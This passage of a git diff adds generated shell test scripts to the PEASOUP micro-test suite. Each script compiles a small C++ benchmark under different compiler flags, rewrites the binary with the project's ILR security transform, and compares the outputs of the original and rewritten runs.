+		throw string("arg>1");
+
+	return a;
+}
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5e176fed8a8773805d28e1b9f45b7270b5b5f5bb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..46d691032c57f309222d80118fb05266e2575427
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6f6e7c0337a4b33a2c1fec2cfeca70f2586e5289
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..22704dfbe66242733c95abfe519acd071db370cb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d5ec6fbfca6238f61e2dd10931fded868ad82098
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..676b2c2302a02409c4dbeac6ea51e6df661c8af1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
